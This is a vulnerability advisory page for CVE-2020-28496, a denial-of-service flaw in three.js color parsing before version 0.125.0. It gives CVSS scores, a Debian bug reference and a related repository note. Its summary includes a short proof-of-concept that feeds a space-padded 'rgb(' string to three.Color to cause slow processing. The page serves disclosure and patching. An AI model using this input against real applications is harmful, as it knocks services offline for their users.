5
CVSSv2

CVE-2020-28496

Published: 18/02/2021 Updated: 25/02/2021
CVSS v2 Base Score: 5 | Impact Score: 2.9 | Exploitability Score: 10
CVSS v3 Base Score: 7.5 | Impact Score: 3.6 | Exploitability Score: 3.9
VMScore: 445
Vector: AV:N/AC:L/Au:N/C:N/I:N/A:P

Vulnerability Summary

This affects the package three prior to 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = "rgb(" for (var i = 0; i < n; i++) { ret += " " } return ret + ""; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+" ms")

Vulnerability Trend

Vulnerable Product Search on Vulmon Subscribe to Product

three project three

Vendor Advisories

Debian Bug report logs - #988726 CVE-2020-28496 Package: src:threejs; Maintainer for src:threejs is Debian Javascript Maintainers &lt;pkg-javascript-devel@listsaliothdebianorg&gt;; Reported by: Moritz Muehlenhoff &lt;jmm@debianorg&gt; Date: Tue, 18 May 2021 18:33:02 UTC Severity: important Tags: security Reply or sub ...

Github Repositories

Helper library for three.js r126+ to programmatically build sprite texture atlases

three-sprite-texture-atlas-manager A "sprite texture atlas" manager for threejs (technically r73 and up, but do use v125 and up: CVE-2020-28496) This module helps you to dynamically manage sprites that are shared across as many canvases as are dynamically needed, and you and easily assign these fragments of the texture to individual sprites in your scene You can al